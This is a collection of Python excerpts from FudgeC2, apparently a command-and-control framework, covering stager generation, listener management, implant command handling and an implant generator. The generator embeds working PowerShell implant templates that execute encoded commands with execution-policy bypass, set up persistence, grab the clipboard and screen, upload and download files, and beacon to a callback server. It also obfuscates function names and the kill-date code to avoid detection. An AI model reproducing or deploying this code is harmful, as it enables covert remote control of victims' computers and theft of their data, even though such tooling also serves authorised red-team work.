예제 #1
0
class StagerGeneration:
    # TODO: This needs cleaned up to ensure expandability with database changes.

    db = Database()
    NetProfMan = NetworkProfileManager()


    def generate_static_stagers(self, cid, user):
        ret_data = {}
        if self.db.campaign.Verify_UserCanAccessCampaign(user, cid):
            implant_info = self.db.implant.Get_AllImplantBaseFromCid(cid)
            if implant_info is not False:
                for implant in implant_info:

                    ret_data[implant['title']] = {
                        "description": implant['description'],
                        "url": implant['callback_url'],
                        "kill_date":implant['kill_date'],
                        "encryption":implant['encryption'],
                        "powershell_stager": self._generate_powershell_stager_string(implant),
                        "docm_macro_stager": self._generate_docx_stager_string(implant),
                        "stager_key": implant['stager_key']}
            return ret_data
        else:
            return ret_data

    def GenerateSingleStagerFile(self, cid, user, stager_type):
        # TODO: Create docx file download from template.
        if self.db.campaign.Verify_UserCanAccessCampaign(user, cid):
            if stager_type == "docx":
                return self._generate_docx_stager_file()
            return
        else:
            return False

    def _generate_docx_stager_string(self, implant_data):
        stager_list = []
        if 'network_profiles' in implant_data:
            for element in implant_data['network_profiles']:
                raw = self.NetProfMan.get_docm_implant_stager(element, implant_data)
                if raw is not None:
                    stager_list.append(raw)
            return stager_list
        else:
            return stager_list

    def _generate_powershell_stager_string(self, implant_data):
        # Calls the Network Profile Manager to see if a powershell stager exists, if not the network profile will return
        #   a None value. Care should be taken to avoid comms which do not have any stager options to generate active
        #   payloads.
        stager_list = []
        if 'network_profiles' in implant_data:
            for element in implant_data['network_profiles']:
                raw = self.NetProfMan.get_powershell_implant_stager(element, implant_data)
                if raw is not None:
                    stager_list.append(raw)
            return stager_list
        else:
            return stager_list
예제 #2
0
from ServerApp.modules.UserManagement import UserManagementController
from ServerApp.modules.StagerGeneration import StagerGeneration
from ServerApp.modules.ImplantManagement import ImplantManagement
from ServerApp.modules.ApplicationManager import AppManager
from ServerApp.modules.ExportManager import CampaignExportManager
from NetworkProfiles.NetworkProfileManager import NetworkProfileManager
from NetworkProfiles.NetworkListenerManagement import NetworkListenerManagement

Listener = NetworkListenerManagement.instance
Imp = ImplantSingleton.instance
UsrMgmt = UserManagementController()
ImpMgmt = ImplantManagement()
StagerGen = StagerGeneration()
AppManager = AppManager()
ExpoManager = CampaignExportManager()
NetProfMng = NetworkProfileManager()

app = Flask(__name__)
app.config.from_object(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
login = LoginManager(app)
login.init_app(app)


# -- Context Processors --#
@app.context_processor
def inject_dict_for_all_auth_templates():
    # -- Returns the list of Campaigns the authenticated user has at least read access to
    if current_user.is_authenticated:
        return dict(campaignlist=UsrMgmt.campaign_get_user_campaign_list(
            current_user.user_email))
예제 #3
0
    class __OnlyOne:
        # Dev Work:
        #   Improve logging on listener events
        #   Improve race-condition checks

        listeners = []
        db = Database()
        npm = NetworkProfileManager()

        def create_new_listener(self, username, common_name, profile_tag, args,
                                auto_start):
            # First check the profile tag is valid, and then ensure adding the listener to the DB is successful
            #   before taking action.
            if self.db.user.User_IsUserAdminAccount(username):
                listener_class = self.npm.get_listener_object(profile_tag)
                listener_interface = self.npm.get_listener_interface(
                    profile_tag)
                if listener_class is not None and listener_interface is not None:

                    if self.db.listener.create_new_listener_record(
                            common_name, args, profile_tag, auto_start):
                        listener = self.db.listener.get_listener_by_common_name(
                            common_name)
                        if listener is not False:
                            # already instantiated interface
                            listener['interface'] = listener_interface
                            listener['interface'].configure(
                                listener_class, args)
                            self.listeners.append(listener)
                            self.listener_state_change(username,
                                                       listener['name'],
                                                       listener['auto_run'])
                            return True
            return False

        def get_all_listeners(self):
            # Create copys of listeners to avoid the interface being removed.
            to_return = []
            for listener in self.listeners:
                to_return.append(copy.copy(listener))
            return to_return

        def get_listener_state(self, common_name):
            for listener in self.listeners:
                if listener['common_name'] == common_name:
                    return listener['object'].query_state()

        def startup_auto_run_listeners(self):
            tmp_listeners = self.db.listener.get_all_listeners()
            for listener in tmp_listeners:
                listener_class = self.npm.get_listener_object(
                    listener['protocol'])
                listener_interface = self.npm.get_listener_interface(
                    listener['protocol'])
                if listener_class is not None and listener_interface is not None:
                    # Already instantiated interface
                    listener['interface'] = listener_interface
                    listener['interface'].configure(listener_class,
                                                    listener['port'])
                    self.listeners.append(listener)
                    self.listener_state_change(True, listener['name'],
                                               listener['auto_run'])

        def listener_state_change(self, username, common_name, state):
            state_change_message = "Insufficient privileges"
            if self.db.user.User_IsUserAdminAccount(
                    username) or username is True:
                for listener in self.listeners:
                    if listener['name'] == common_name:
                        if state == 0 and listener['state'] == 1:
                            listener['state'] = 0
                            listener['interface'].stop_listener()
                            state_change_message = f"Successfully stopped {common_name}"
                        elif state == 1:
                            listener['state'] = 1
                            listener['interface'].start_listener()
                            state_change_message = f"Successfully started {common_name}"
            return state_change_message

        # Undecided if I want to check for server certificates at a global level - this should be down to
        #   specific network profiles?
        # Note: This is still called when the C2 server starts for now so automatically return True.
        @staticmethod
        def check_tls_certificates():
            return True
예제 #4
0
class ImplantManagement:
    # -- The implant management class is responsible for performing pre-checks and validation before sending data
    # --    to the Implant class
    db = Database()
    Imp = ImplantSingleton.instance
    ImpFunc = ImplantFunctionality()
    NetProMan = NetworkProfileManager()

    def _form_validated_obfucation_level_(self, form):
        # Checking if obfuscation if an integer between 0-4, if not return None to raise an error.
        try:
            obfuscation_value = int(form['obfuscation'])

            if obfuscation_value < 0:
                obfuscation_value = 0
            elif obfuscation_value > 4:
                obfuscation_value = 4
            return obfuscation_value
        except:
            return None

    def _validate_command(self, command):
        # Validate the command is one of 2 thing either a Powershell direct execution or a
        # builtin command using :: notation.
        # Once validate this processes the command into a "type" and "arg", both strings.

        command_listing = self.ImpFunc.command_listing()
        # Process command output into:
        # :: load_module powerup
        if command.lstrip()[0:2] == "::":
            preprocessed_command = command.lstrip()[2:].lower().strip()
            for x in command_listing:
                if x['input'] in preprocessed_command:
                    a = preprocessed_command.partition(x['input'])
                    r_command = {"type": x['type'], "args": a[2].strip()}
                    return r_command, True
            return command, "Unknown inbuilt command (::). See help page for more info."
        elif command.lstrip()[0:1] == ":":
            preprocessed_command = command.lstrip()[1:].lower().strip()
            for x in command_listing:
                if x['input'] in preprocessed_command:
                    return command, (
                        f"Potential typo found in command. A single colon was found, did you mean :"
                        f"{command}. If not please raise a GitHub ticket with the submitted command."
                    )

        else:
            r_command = {"type": "CM", "args": command}
            return r_command, True

    def _validate_template_kill_date(self, form):
        if 'kill_date' in form:
            try:
                # Checking to ensure a the time is not before current time.
                #  This time must match the webapp submission format.
                user_time = datetime.datetime.strptime(form['kill_date'],
                                                       '%d/%m/%Y, %H:%M')
                current_time = datetime.datetime.now()
                if user_time < current_time:
                    return None
                else:
                    # Reformatting the datetime to match implant datetime format string
                    return datetime.datetime.strftime(user_time,
                                                      '%Y-%m-%d %H:%M:%S')
            except Exception as E:
                return None

    def get_network_profile_options(self):
        return self.NetProMan.get_implant_template_code()

    def implant_command_registration(self, cid, username, form):
        result_msg = "Unknown error."
        try:
            User = self.db.campaign.Verify_UserCanWriteCampaign(username, cid)
            if User is False:
                result_msg = "You are not authorised to register commands in this campaign."
                raise ValueError

            if "cmd" not in form and "ImplantSelect" not in form:
                result_msg = f"Malformed request: {form}"
                raise ValueError

            if len(form['cmd']) == 0:
                result_msg = "No command submitted."
                raise ValueError

            processed_command, validated_command = self._validate_command(
                form['cmd'])
            if validated_command is not True:
                result_msg = validated_command
                raise ValueError

            result = self.ImpFunc.validate_pre_registered_command(
                processed_command)
            if result is not True:
                result_msg = result
                raise ValueError

            if form['ImplantSelect'] == "ALL":
                list_of_implants = self.db.implant.Get_AllGeneratedImplantsFromCID(
                    cid)
            else:
                list_of_implants = self.db.implant.Get_AllImplantIDFromTitle(
                    form['ImplantSelect'])

            # Check if any implants have been returned against the user submitted values.
            if len(list_of_implants) == 0:
                result_msg = "No implants listed."
                raise ValueError

            # Assuming all checks have passed no Exceptions will have been raised and we can register commands.
            for implant in list_of_implants:
                self.Imp.add_implant_command_to_server(
                    username, cid, implant['unique_implant_id'],
                    processed_command)
            return {"result": True, "reason": "Command registered"}
        except:
            return {"result": False, "reason": result_msg}

    def _verify_network_profile_(self, form):
        network_protocols = {}
        for key in form:
            a = self.NetProMan.validate_web_form(key, form[key])
            if a is not None:
                if a != False:
                    network_protocols.update(a)
        return network_protocols

    def create_new_implant(self, cid, form, user):
        # TODO: Create checks for conflicting ports.
        implant_configuration = {
            "title": None,
            "description": None,
            "url": None,
            "beacon": None,
            "inital_delay": None,
            "obfuscation_level": None,
            "protocol": {},
            "kill_date": None
        }
        try:
            User = self.db.user.Get_UserObject(user)
            if User.admin == 0:
                return False, "Insufficient privileges."
            campaign_priv = self.db.campaign.Verify_UserCanWriteCampaign(
                user, cid)
            if campaign_priv is False:
                raise ValueError('User cannot write to this campaign.')

            if "CreateImplant" in form:
                obfuscation_level = self._form_validated_obfucation_level_(
                    form)
                implant_configuration[
                    'kill_date'] = self._validate_template_kill_date(form)

                if obfuscation_level is None:
                    raise ValueError('Missing, or invalid obfuscation level.')
                else:
                    implant_configuration[
                        'obfuscation_level'] = obfuscation_level

                # -- Test for initial callback delay
                if 'initial_delay' in form:
                    if int(form['initial_delay']) and int(
                            form['initial_delay']) >= 0:
                        implant_configuration['initial_delay'] = form[
                            'initial_delay']
                    else:
                        raise ValueError(
                            "Initial delay must be positive integer.")
                else:
                    raise ValueError("Initial delay not submitted.")
                # -- Test for beacon delay
                if 'beacon_delay' in form:
                    if int(form['beacon_delay']) >= 1:
                        implant_configuration['beacon'] = form['beacon_delay']
                    else:
                        raise ValueError(
                            "Beacon delay must an integer greater than 1 second."
                        )
                else:
                    raise ValueError("No beacon delay submitted.")

                if form['title'] == "" or form['url'] == "" or form[
                        'description'] == "":
                    raise ValueError('Mandatory values left blank')
                else:
                    implant_configuration['title'] = form['title']
                    implant_configuration['url'] = form['url']
                    implant_configuration['description'] = form['description']
                    implant_configuration['beacon'] = form['beacon_delay']

                # Verify the input against all loaded network profiles.
                validated_network_protocols = self._verify_network_profile_(
                    form)
                if len(validated_network_protocols) != 0:
                    implant_configuration['protocol'].update(
                        validated_network_protocols)
                else:
                    raise ValueError(
                        "Error: No valid network profiles submitted.")

                implant_creation = self.db.implant.create_new_implant_template(
                    user, cid, implant_configuration)
                if implant_creation is True:
                    return True, "Implant created."
                else:
                    raise ValueError(f"Error: {implant_creation}")

        except Exception as E:
            print(E)
            return False, E

    def Get_RegisteredImplantCommands(self, username, cid=0):
        # -- Return list of dictionaries, not SQLAlchemy Objects.
        if self.db.campaign.Verify_UserCanAccessCampaign(username, cid):
            commands = self.db.implant.Get_RegisteredImplantCommandsFromCID(
                cid)
            to_dict = []
            for x in commands:
                a = x.__dict__
                if '_sa_instance_state' in a:
                    del a['_sa_instance_state']
                to_dict.append(a)
            return to_dict
        else:
            return False

    def Get_CampaignLogs(self, username, cid):
        User = self.db.campaign.Verify_UserCanReadCampaign(username, cid)
        if User is False:
            return {
                "cmd_reg": {
                    "result":
                    False,
                    "reason":
                    "You are not authorised to view commands in this campaign."
                }
            }
        return self.db.Log_GetCampaignActions(cid)

    def get_active_campaign_implants(self, user, campaign_id):
        if self.db.campaign.Verify_UserCanAccessCampaign(user, campaign_id):
            raw = self.db.implant.Get_AllGeneratedImplantsFromCID(campaign_id)
            # Removing the SQLAlchemy object.
            tr = []
            for num, item in enumerate(raw):
                del item['_sa_instance_state']
                tr.append(item)
            return tr
        else:
            return False
예제 #5
0
class ImplantGenerator:
    # ImplantGenerator has a single public method (generate_implant_from_template)
    #   which is used to generate a new active implant in the event of a stager
    #   calling back. Configuration from the implant template is used to determine
    #   which functionality should be embedded within the active implant.

    ImpFunc = ImplantFunctionality()
    NetProfMan = NetworkProfileManager()

    JinjaRandomisedArgs = {
        "obf_remote_play_audio": "RemotePlayAudio",
        "obf_sleep": "sleep",
        "obf_select_protocol": "select_protocol",
        "obf_collect_sysinfo": "collect-sysinfo",
        "obf_http_conn": "http-connection",
        "obf_https_conn": "https-connection",
        "obf_dns_conn": "dns-connection",
        "obf_create_persistence": "create-persistence",
        "obf_builtin_command": "execute-command",
        "obf_reg_key_name": "FudgeC2Persistence",
        "obf_callback_url": "url",
        "obf_callback_reason": "callback_reason",
        "obf_get_clipboard": "export-clipboard",
        "obf_load_module": "load-ext-module",
        "obf_invoke_module": "invoke-module",
        "obf_get_loaded_modules": "get-loaded-modules",
        "obf_upload_file": "upload-file",
        "obf_download_file": "download-file",
        "obf_screen_capture": "screen-capture",
        "obf_kill_date": "implant_kill_date"
    }

    execute_command = '''
function {{ ron.obf_builtin_command }}($data){
    $a = $data.Substring(0,2)
    $global:command_id = $data.Substring(2,24)
    if ($data.Substring(26).length -gt 1){
        $b = [System.Convert]::FromBase64String($data.Substring(26))
    }
    if($a -eq "CM"){
        $c = [System.Convert]::ToBase64String([system.Text.Encoding]::Unicode.getbytes([System.Text.Encoding]::UTF8.GetString($b)))
        $global:tr = powershell.exe -exec bypass -EncodedCommand $c
    } elseif($a -eq "SI"){
        {{ ron.obf_collect_sysinfo }}
    } elseif ($a -eq "EP"){
        {{ ron.obf_create_persistence }}
    } elseif ($a -eq "PS"){
        {{ ron.obf_remote_play_audio }}($b)
    } elseif ($a -eq "EC"){ 
        {{ ron.obf_get_clipboard }} 
    } elseif ($a -eq "LM"){
        {{ ron.obf_load_module }}([System.Text.Encoding]::UTF8.GetString($b))
    } elseif ($a -eq "IM"){
        {{ ron.obf_invoke_module }}([System.Text.Encoding]::UTF8.GetString($b))
    } elseif ($a -eq "ML"){
        {{ ron.obf_get_loaded_modules }}  
    } elseif ($a -eq "FD"){
        {{ ron.obf_download_file }}([System.Text.Encoding]::UTF8.GetString($b))
    } elseif ($a -eq "UF"){
        {{ ron.obf_upload_file }}([System.Text.Encoding]::UTF8.GetString($b))
    } elseif ($a -eq "SC"){
        {{ ron.obf_screen_capture }}
    } else {
        $global:tr = $null
    }
}
'''

    kill_date = ''' 
function {{ ron.obf_kill_date }}{
    $kd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("{{ kill_date_encoded }}"))
    $pdt = [datetime]::parseexact($kd, 'yyyy-MM-dd HH:mm:ss', $null)
    if ((Get-Date) -gt ($pdt)){
        [string]::join('',[ChaR[]](101, 120, 105, 116)) |& ((gv ‘*MDr*’).NamE[3,11,2] -join '')
    }  
}
'''

    select_protocol = '''
function {{ ron.obf_select_protocol }}($b){
    {% if kill_date %}{{ ron.obf_kill_date }}{% endif %}
    sleep (Get-Random -Minimum (${{ ron.obf_sleep }} *0.90) -Maximum (${{ ron.obf_sleep }} *1.10))
    return get-random($b)
}
'''

    implant_main = '''
{{ obf_variables }}
{% if obfuscation_level == 0 %}
# Implant generated by:
# https://github.com/Ziconius/FudgeC2
{% endif %}
$global:command_id = 0
start-sleep({{ initial_sleep }})
${{ ron.obf_sleep }}={{ beacon }}
${{ ron.obf_callback_url }} = "{{ url }}"
while($true){
    $plh=$null
    $global:headers = $null
    try {
            {{ proto_core }}
    } catch {
        $_.Exception | Out-Null
    }
    if (($global:headers -NotLike "==") -And ($global:headers -ne $null)){
        {{ ron.obf_builtin_command }}($global:headers)
        if ($global:tr -ne $null){ 
            $atr = $global:tr -join "`n"
            $plh = $atr
            try {
                    {{ proto_core }}
            } catch {
                $_.Exception | Out-Null
            }
        }       
    }
}
'''

    def _manage_implant_function_order(self, implant_info, function_list):
        # -- This is responsible for randomising the function order within the generated implant.
        if implant_info['obfuscation_level'] >= 1:
            random.shuffle(function_list)
        constructed_base_implant = ""
        for implant_function in function_list:
            constructed_base_implant = constructed_base_implant + implant_function.rstrip(
            )
        constructed_base_implant = constructed_base_implant + self.implant_main
        return constructed_base_implant.lstrip()

    def _function_name_obfuscation(self, implant_info, function_names):
        if implant_info['obfuscation_level'] >= 2:
            for key in function_names.keys():
                letters = string.ascii_lowercase
                temp_string = ''.join(random.choice(letters) for i in range(8))
                if temp_string not in function_names.values():
                    function_names[key] = temp_string
        return function_names

    def _process_modules(self, implant_data, randomised_function_names):
        # Add default functions to added to the implant which will be randomised.
        core_implant_functions = [self.execute_command, self.select_protocol]

        implant_functions = self.ImpFunc.get_list_of_implant_text()
        implant_functions.extend(core_implant_functions)

        ports = {}
        network_profile_functions = {}
        # -- NEW NETWORK PROFILE CONTENT
        for x in implant_data['network_profiles']:
            code, variables = self.NetProfMan.get_implant_powershell_code(x)

            obf_variables = variables[0]
            port_variables = variables[1]

            # code is now in the base
            implant_functions.append(code)
            # Args are now in the Network Profiles
            self.JinjaRandomisedArgs.update(obf_variables)
            network_profile_functions.update(obf_variables)

            for key in port_variables.keys():
                port_variables[key] = implant_data['network_profiles'][x]
            ports.update(port_variables)

        if implant_data['kill_date'] is not None:
            implant_functions.append(self.kill_date)

        constructed_implant = self._manage_implant_function_order(
            implant_data, implant_functions)

        protocol_string = ""
        proto_count = 0
        for net_prof in network_profile_functions.keys():

            protocol_string += f"     {proto_count} {{ {network_profile_functions[net_prof]}($plh) }}\n"
            proto_count += 1

        f_str = 'switch (' + randomised_function_names[
            'obf_select_protocol'] + '(' + str(
                proto_count) + ') ){ \n' + protocol_string + ' }'

        return constructed_implant, f_str, ports

    def generate_implant_from_template(self, implant_data):
        """
        generate_implant_from_template
         - Takes the generated implant info (Generated implants (by UIK)

        _process_modules
         - This controls which protocols and additional modules are embedded into the implant.
         - Generates the main function multi proto selection
        """

        implant_function_names = self._function_name_obfuscation(
            implant_data, self.JinjaRandomisedArgs)
        implant_template, protocol_switch, ports = self._process_modules(
            implant_data, implant_function_names)

        callback_url = implant_data['callback_url']
        variable_list = ""
        if implant_data['obfuscation_level'] >= 3:
            ps_ofb = PSObfucate()
            variable_list, callback_url = ps_ofb.variableObs(
                implant_data['callback_url'])
        cc = jinja2.Template(implant_template)
        output_from_parsed_template = cc.render(
            initial_sleep=implant_data['initial_delay'],
            url=callback_url,
            ports=ports,
            uii=implant_data['unique_implant_id'],
            stager_key=implant_data['stager_key'],
            ron=implant_function_names,
            beacon=implant_data['beacon'],
            proto_core=protocol_switch,
            obfuscation_level=implant_data['obfuscation_level'],
            obf_variables=variable_list,
            kill_date=implant_data['kill_date'],
            kill_date_encoded=base64.b64encode(
                str(implant_data['kill_date']).encode()).decode())

        # Wrapping implant in function to allow Powershell scope to expose the implant code to itself
        f_name = f"{random.choice(string.ascii_lowercase)}_{random.choice(string.ascii_lowercase)}"
        # 'h; is an alias for history....
        finalised_implant = f"function {f_name}{{ {output_from_parsed_template} }};{f_name}"
        return finalised_implant